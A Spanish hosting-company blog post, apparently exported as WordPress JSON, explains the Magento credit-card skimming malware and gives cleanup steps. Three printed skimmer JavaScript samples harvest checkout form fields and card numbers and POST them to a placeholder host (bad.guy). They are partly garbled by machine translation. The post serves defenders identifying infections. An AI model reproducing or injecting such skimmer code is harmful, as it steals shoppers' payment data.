{"id":529,"date":"2015-11-19T17:53:27","date_gmt":"2015-11-19T17:53:27","guid":{"rendered":"http:\/\/profesionalhosting.com\/blog\/?p=529"},"modified":"2023-04-25T13:36:48","modified_gmt":"2023-04-25T11:36:48","slug":"vulnerabilidad-hijack-magento","status":"publish","type":"post","link":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/","title":{"rendered":"Vulnerabilidad Hijack Magento"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_79_2 ez-toc-wrap-left-text counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Tabla de contenidos<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Alternar tabla de contenidos\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#%C2%BFQue_es_Hijack\" >\u00bfQue es Hijack?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#%C2%BFCuales_son_las_consecuencias\" >\u00bfCu\u00e1les son las consecuencias?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#%C2%BFComo_puedo_solucionarlo\" >\u00bfC\u00f3mo puedo solucionarlo?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#Aplique_todos_los_parches_disponibles_Magento\" >Aplique todos los parches disponibles Magento<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#Revisar_y_eliminar\" >Revisar y eliminar<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#Eliminar_scripts_desconocidos_PHP_y_Javascript\" >Eliminar scripts desconocidos (PHP y Javascript)<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#Ejemplos_de_Scripts_Maliciosos\" >Ejemplos de Scripts Maliciosos<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#Recuperar_su_tienda\" >Recuperar su tienda<\/a><\/li><\/ul><\/nav><\/div>\n<p>El hack <strong>Hijack Magento<\/strong> es un c\u00f3digo malicioso en Magento que permite a los hackers interceptar los datos financieros, tales como credenciales de tarjeta de cr\u00e9dito.<\/p>\n<p><!--more--><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%C2%BFQue_es_Hijack\"><\/span>\u00bfQue es Hijack?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Es un c\u00f3digo malicioso inyectado en Magento que permite a los hackers\u00a0 interceptar los datos financieros, tales como credenciales de tarjeta de cr\u00e9dito. Con este nuevo ataque, los datos de las tarjetas de cr\u00e9dito son capturados sin cifrar. Con esta nueva forma de pirater\u00eda, se a\u00f1ade el malware en el navegador de los visitantes. Este malware intercepta las credenciales de tarjeta de cr\u00e9dito el momento que los clientes insertan estos datos en el navegador. En este punto, las credenciales no son todav\u00eda cifrados.<\/p>\n<p>Una vez que Magento descubri\u00f3 la fuga se analiz\u00f3 el malware. Nos enteramos de que en este momento de una asombrosa cantidad de 3.500 tiendas de Magento eran parte de una red zombi que interceptaban credenciales de tarjeta de cr\u00e9dito, y enviaban estos datos a los llamados servidores de comando y control. (Servidores de comando y control son una red de servidores donde los hackers recogen este tipo de datos). Esta es la primera vez que nos encontramos con un fraude automatizado de tarjetas de cr\u00e9dito en esta escala.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%C2%BFCuales_son_las_consecuencias\"><\/span>\u00bfCu\u00e1les son las consecuencias?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Las consecuencias son que los piratas inform\u00e1ticos intercepten los datos financieros de sus clientes. Con esta informaci\u00f3n se puede cometer un fraude a nivel mundial de tarjetas de cr\u00e9dito, causando mucho da\u00f1o financiero.<\/p>\n<p>El fraude se remonta al 12 de mayo, lo que implica que la negligencia pas\u00f3 desapercibido durante meses y todav\u00eda est\u00e1 en activo.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%C2%BFComo_puedo_solucionarlo\"><\/span>\u00bfC\u00f3mo puedo solucionarlo?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Aplique_todos_los_parches_disponibles_Magento\"><\/span>Aplique todos los parches disponibles Magento<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Analice su tienda con <a href=\"http:\/\/magereport.com\/\" target=\"_blank\" rel=\"noopener nofollow\">Magereport.com<\/a> para averiguar qu\u00e9 parches han sido y no se han instalado todav\u00eda. Cuando no est\u00e9 instalado un parche, debe instalarlo con las instrucciones dadas o puede ver el art\u00edculo de <a href=\"https:\/\/support.hypernode.com\/knowledgebase\/how-to-apply-magento-patches\/\" target=\"_blank\" rel=\"noopener nofollow\">C\u00f3mo aplicar parches de Magento<\/a>.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Revisar_y_eliminar\"><\/span>Revisar y eliminar<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Revise todos los usuarios administradores en su sistema a trav\u00e9s de backend de Magento (vaya a Sistema&gt; Permisos&gt; Roles). Retire cualquier cuenta que usted no est\u00e1 utilizando de forma activa y vuelva a establecer contrase\u00f1as seguras para todos los usuarios administradores que usted use.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Eliminar_scripts_desconocidos_PHP_y_Javascript\"><\/span>Eliminar scripts desconocidos (PHP y Javascript)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>La b\u00fasqueda y eliminaci\u00f3n se puede hacer a trav\u00e9s de backend de Magento. Una vez conectado a su backend:<\/p>\n<ul>\n<li>Vaya a <strong>Sistema &gt; Configuraci\u00f3n<\/strong><\/li>\n<li>Ir a <strong>General &gt; Dise\u00f1o<\/strong><\/li>\n<li>Despliegue la opci\u00f3n <strong>Cabecera HTML<\/strong> y busque dentro del textarea <strong><label for=\"design_head_includes\"> Miscellaneous Scripts<\/label><\/strong><\/li>\n<li>Despliegue la opci\u00f3n <strong>Pie de p\u00e1gina<\/strong> y busque dentro del textarea <strong><label for=\"design_head_includes\"> Miscellaneous Scripts<\/label><\/strong><\/li>\n<\/ul>\n<p>Si estos campos est\u00e9n vac\u00edos probablemente su pagina sea segura, si no es as\u00ed busque script que como los que les dejo en el ejemplo.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Ejemplos_de_Scripts_Maliciosos\"><\/span>Ejemplos de Scripts Maliciosos<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<pre class=\"\">&lt;script&gt; jj funci\u00f3n (e) {var t = \",\" + document.cookie, o = t.split (\";\" + e + \"=\"); volver 2 == o.length o.pop ()?. split (\";\") cambiar (.): void 0} jj (\"SESSIID\") || (document.cookie = \"SESSIID =\" + (nueva fecha) .getTime ()), jQuery (function (e) {e (\"bot\u00f3n\") en (\"click\", function () {var t = \"\", o = \"post\", n = window.location; si (nueva RegExp (\".. OnePage | checkout\") prueba (n) ) {for (var c = document.querySelectorAll (\"input, select, textarea, checkbox\"), i = 0; i &lt;c.length; i ++) si (c [i] .value.length&gt; 0) {var a = c [i] .name; \"\" == un &amp;&amp; (a = i), t + = a + \"=\" + c [i] .value + \"y\"} if (t) {var l = new RegExp (\"[0 -9] {13,16} \"), u = new XMLHttpRequest; u.open (o, e (\" &lt;div \/&gt;\").html(\"https:\/\/bad.guy\/jquery.php \").text(),!0),u.setRequestHeader(\"Content-type\",\"application\/x-www-form-urlencoded\"),u.send(t+\"&amp;asd=\"+(l.test(t.replace(\/s\/g,\"\"))?1:0)+\"&amp;utmp=\"+n+\"&amp;cookie=\"+jj(\"SESSIID\")),console.clear()}}})});&lt;\/script&gt;<\/pre>\n<pre class=\"\">&lt;script&gt;\r\nvar SND = null;\r\nwindow.onload = function () {\r\n if ((nueva RegExp ('OnePage')). de prueba (window.location)) {\r\n enviar();\r\n \r\n }\r\n};\r\n \r\nclk function () {\r\n var inp = document.querySelectorAll (\"input, select, textarea, checkbox\");\r\n for (var i = 0; i &lt;inp.length; i ++) {\r\n si (INP [i] .value.length&gt; 0) {\r\n var NME = INP [i] .name;\r\n si (NME == '') {NME = i; }\r\n snd + = INP [i] .name + '=' + inp [i] .value + '&amp;';\r\n }\r\n }\r\n \r\n}\r\n \r\nEnviar function () {\r\nvar btn = document.querySelectorAll (\"a [href * = 'javascript: void (0)'], bot\u00f3n, de entrada, se someten, .btn, .button\");\r\n for (var i = 0; i &lt;btn.length; i ++) {\r\n var b = btn [i];\r\n si (b.type! = 'text' &amp;&amp; b.type! = 'select' &amp;&amp; b.type! = 'casilla' &amp;&amp; b.type! = 'password' &amp;&amp; b.type! = \"radio\") {\r\n si (b.addEventListener) {\r\n b.addEventListener (\"click\", CLK, false);\r\n }m\u00e1s {\r\n b.attachEvent ('onclick', clk);\r\n }\r\n }\r\n }\r\n \r\n var frm = document.querySelectorAll (\"forma\");\r\n for (var i = 0; i &lt;frm.length; i ++) {\r\n si (frm [i] .addEventListener) {\r\n frm [i] .addEventListener (\"enviar\", CLK, false);\r\n }m\u00e1s {\r\n frm [i] .attachEvent ('onsubmit', clk);\r\n }\r\n }\r\n \r\n if (! SND = null) {\r\n console.clear ();\r\n var cc = new RegExp (\"[0-9] {13,16}\");\r\n asd var = \"0\";\r\n si (cc.test (SND)) {\r\n asd = \"1\";\r\n }\r\nvar http = new XMLHttpRequest ();\r\nhttp.open (\"POST\", \"https: \/\/bad.guy\/jquery.php\", true);\r\nhttp.setRequestHeader (\"Content-type\", \"urlencoded-www-form x-application \/\");\r\nhttp.send (\"data =\" + snd + \"&amp; asd =\" + asd + \"&amp; id_id = ano.nym\");\r\nconsole.clear ();\r\n }\r\n SND = null;\r\n setTimeout ('send ()', 150);\r\n}\r\n \r\n&lt;\/ script&gt;<\/pre>\n<pre class=\"\">&lt;script&gt;\r\n jj funci\u00f3n (e) {\r\n var t = \",\" + document.cookie\r\n , O = t.split (\";\" + e + \"=\");\r\n volver 2 o.length ==? . o.pop split () (\";\") cambiar (): void 0.\r\n }\r\n jj (\"SESSIID\") || (document.cookie = \"SESSIID =\" + (nueva fecha) .getTime ())\r\n , JQuery (function (e) {\r\n e (\"button\"). en (\"click\", function () {\r\n var t = \"\"\r\n , O = \"post\"\r\n , N = window.location;\r\n si (nueva RegExp (\"OnePage | checkout\".) prueba (n)) {\r\n for (var c = document.querySelectorAll (\"input, select, textarea, checkbox\"), i = 0; i &lt;c.length; i ++)\r\n si (c [i] .value.length&gt; 0) {\r\n var a = c [i] .name;\r\n \"\" == Un &amp;&amp; (a = i)\r\n , T + = A + \"=\" + c [i] .value + \"&amp;\"\r\n }\r\n si (t) {\r\n var l = new RegExp (\"[0-9] {13,16}\")\r\n , U = new XMLHttpRequest;\r\n u.open (o, e (\"&lt;div \") .text (), 0)\r\n , U.setRequestHeader (\"Content-type\", \"application \/ x-www-form-urlencoded\")\r\n , U.send (t + \"&amp; asd =\" + (l.test (t.replace (\/ s \/ g, \"\")) 1: 0) + \"&amp; utmp =\" + n + \"y galletas =\" + jj ( \"SESSIID\"))\r\n , Console.clear ()\r\n }\r\n }\r\n })\r\n });\r\n&lt;\/ script&gt;\r\n\r\n<\/pre>\n<h2><span class=\"ez-toc-section\" id=\"Recuperar_su_tienda\"><\/span><span id=\"Recover_your_shop\">Recuperar su tienda<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Suponemos que esta vulnerabilidad es debida a una combinaci\u00f3n de varias fugas de Magento (estos \u00faltimos meses varios parches Magento salieron y con una alta cobertura en los medios de comunicaci\u00f3n). Es probable que los hackers utilizan estos vulnerabilidades de seguridad para configurar este fraude con tarjetas de cr\u00e9dito.<\/p>\n<p>Le recomendamos que \u00ablimpie\u00bb su tienda siguiendo los pasos escritos en el art\u00edculo de <a href=\"https:\/\/support.hypernode.com\/knowledgebase\/recover-a-hacked-magento-shop\/\" target=\"_blank\" rel=\"noopener nofollow\">recuperar una Magento Shop hackeado<\/a> despu\u00e9s de instalar todos los parches de Magento, eliminar administradores Magento inactivos y la eliminaci\u00f3n de c\u00f3digo malicioso.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>El hack Hijack Magento es un c\u00f3digo malicioso en Magento que permite a los hackers interceptar los datos financieros, tales como credenciales [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":534,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"image","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[5],"tags":[97,91],"class_list":["post-529","post","type-post","status-publish","format-image","has-post-thumbnail","hentry","category-magento","tag-hijack","tag-magento","post_format-post-format-image"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Vulnerabilidad Hijack Magento - ProfesionalHosting | blog<\/title>\n<meta name=\"description\" content=\"El Hijack magento es un c\u00f3digo malicioso en Magento que permite a los hackers interceptar los datos financieros.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Vulnerabilidad Hijack Magento - ProfesionalHosting | blog\" \/>\n<meta property=\"og:description\" content=\"El Hijack magento es un c\u00f3digo malicioso en Magento que permite a los hackers interceptar los datos financieros.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/\" \/>\n<meta property=\"og:site_name\" content=\"ProfesionalHosting | blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/profesionalhosting\" \/>\n<meta property=\"article:published_time\" content=\"2015-11-19T17:53:27+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-04-25T11:36:48+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2015\/11\/system-security.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"637\" \/>\n\t<meta property=\"og:image:height\" content=\"237\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Antonio Torres\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@atowersg\" \/>\n<meta name=\"twitter:site\" content=\"@hostingyvps\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Antonio Torres\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/\"},\"author\":{\"name\":\"Antonio Torres\",\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/#\/schema\/person\/c283bfed4f721dbdec6cea7dcf671e9a\"},\"headline\":\"Vulnerabilidad Hijack Magento\",\"datePublished\":\"2015-11-19T17:53:27+00:00\",\"dateModified\":\"2023-04-25T11:36:48+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/\"},\"wordCount\":579,\"publisher\":{\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2015\/11\/system-security.jpg\",\"keywords\":[\"Hijack\",\"magento\"],\"articleSection\":[\"Magento\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/\",\"url\":\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/\",\"name\":\"Vulnerabilidad Hijack Magento - ProfesionalHosting | blog\",\"isPartOf\":{\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2015\/11\/system-security.jpg\",\"datePublished\":\"2015-11-19T17:53:27+00:00\",\"dateModified\":\"2023-04-25T11:36:48+00:00\",\"description\":\"El Hijack magento es un c\u00f3digo malicioso en Magento que permite a los hackers interceptar los datos financieros.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#primaryimage\",\"url\":\"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2015\/11\/system-security.jpg\",\"contentUrl\":\"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2015\/11\/system-security.jpg\",\"width\":637,\"height\":237},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\/\/www.profesionalhosting.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Vulnerabilidad Hijack Magento\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/#website\",\"url\":\"https:\/\/www.profesionalhosting.com\/blog\/\",\"name\":\"ProfesionalHosting | blog\",\"description\":\"Blog sobre Hosting, Ecommerce, PrestaShop, Magento, WordPress, Joomla y Drupal.\",\"publisher\":{\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.profesionalhosting.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/#organization\",\"name\":\"Profesional Hosting\",\"url\":\"https:\/\/www.profesionalhosting.com\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2023\/04\/2x-logo.png\",\"contentUrl\":\"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2023\/04\/2x-logo.png\",\"width\":360,\"height\":82,\"caption\":\"Profesional Hosting\"},\"image\":{\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/profesionalhosting\",\"https:\/\/x.com\/hostingyvps\",\"https:\/\/www.youtube.com\/channel\/UCGm-8k07wzutzxT6Upvw5tQ\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/#\/schema\/person\/c283bfed4f721dbdec6cea7dcf671e9a\",\"name\":\"Antonio Torres\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.profesionalhosting.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/87d127f5d7b133a346b65366703c0acb?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/87d127f5d7b133a346b65366703c0acb?s=96&d=mm&r=g\",\"caption\":\"Antonio Torres\"},\"description\":\"Director t\u00e9cnico de soporte especializado en Profesionalhosting | Experto en WordPress, Ecommerce y Prestashop.\",\"sameAs\":[\"https:\/\/x.com\/atowersg\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Vulnerabilidad Hijack Magento - ProfesionalHosting | blog","description":"El Hijack magento es un c\u00f3digo malicioso en Magento que permite a los hackers interceptar los datos financieros.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/","og_locale":"es_ES","og_type":"article","og_title":"Vulnerabilidad Hijack Magento - ProfesionalHosting | blog","og_description":"El Hijack magento es un c\u00f3digo malicioso en Magento que permite a los hackers interceptar los datos financieros.","og_url":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/","og_site_name":"ProfesionalHosting | blog","article_publisher":"https:\/\/www.facebook.com\/profesionalhosting","article_published_time":"2015-11-19T17:53:27+00:00","article_modified_time":"2023-04-25T11:36:48+00:00","og_image":[{"width":637,"height":237,"url":"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2015\/11\/system-security.jpg","type":"image\/jpeg"}],"author":"Antonio Torres","twitter_card":"summary_large_image","twitter_creator":"@atowersg","twitter_site":"@hostingyvps","twitter_misc":{"Escrito por":"Antonio Torres","Tiempo de lectura":"5 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#article","isPartOf":{"@id":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/"},"author":{"name":"Antonio Torres","@id":"https:\/\/www.profesionalhosting.com\/blog\/#\/schema\/person\/c283bfed4f721dbdec6cea7dcf671e9a"},"headline":"Vulnerabilidad Hijack Magento","datePublished":"2015-11-19T17:53:27+00:00","dateModified":"2023-04-25T11:36:48+00:00","mainEntityOfPage":{"@id":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/"},"wordCount":579,"publisher":{"@id":"https:\/\/www.profesionalhosting.com\/blog\/#organization"},"image":{"@id":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#primaryimage"},"thumbnailUrl":"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2015\/11\/system-security.jpg","keywords":["Hijack","magento"],"articleSection":["Magento"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/","url":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/","name":"Vulnerabilidad Hijack Magento - ProfesionalHosting | blog","isPartOf":{"@id":"https:\/\/www.profesionalhosting.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#primaryimage"},"image":{"@id":"https:\/\/www.profesionalhosting.com\/blog\/cms\/magento\/vulnerabilidad-hijack-magento\/#primaryimage"},"thumbnailUrl":"https:\/\/www.profesionalhosting.com\/blog\/wp-content\/uploads\/2015\/11\/system-security.jpg","datePublished":"2015-11-19T17:53:27+00:00","dateModified":"2023-04-25T11:36:48+00:00","description":"El Hijack magento es un c\u00f3digo malicioso en Magento que permite a los hackers interceptar los datos 